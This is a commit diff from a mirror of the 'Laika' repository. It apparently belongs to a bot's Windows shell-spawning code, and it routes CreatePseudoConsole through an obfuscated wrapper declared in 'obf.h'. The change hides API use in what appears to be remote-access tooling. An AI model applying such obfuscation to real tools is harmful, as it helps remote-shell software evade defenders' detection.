mirror of
https://github.com/CPunch/Laika.git
synced 2026-02-08 01:00:05 +00:00
Bot: Added oCreatePseudoConsole to laikaO_init()
This commit is contained in:
@@ -1,5 +1,6 @@
|
||||
/* platform specific code for opening shells (pseudo consoles) on windows */
|
||||
#include "bot.h"
|
||||
#include "obf.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "shell.h"
|
||||
@@ -128,7 +129,7 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
|
||||
return HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
/* create the pseudo console of the required size, attached to the PTY - end of the pipes */
|
||||
hr = CreatePseudoConsole(consoleSize, hPipePTYIn, hPipePTYOut, 0, phPC);
|
||||
hr = oCreatePseudoConsole(consoleSize, hPipePTYIn, hPipePTYOut, 0, phPC);
|
||||
|
||||
/* we can close the handles to the PTY-end of the pipes here
|
||||
because the handles are dup'ed into the ConHost and will be released
|
||||
|
||||
Reference in New Issue
Block a user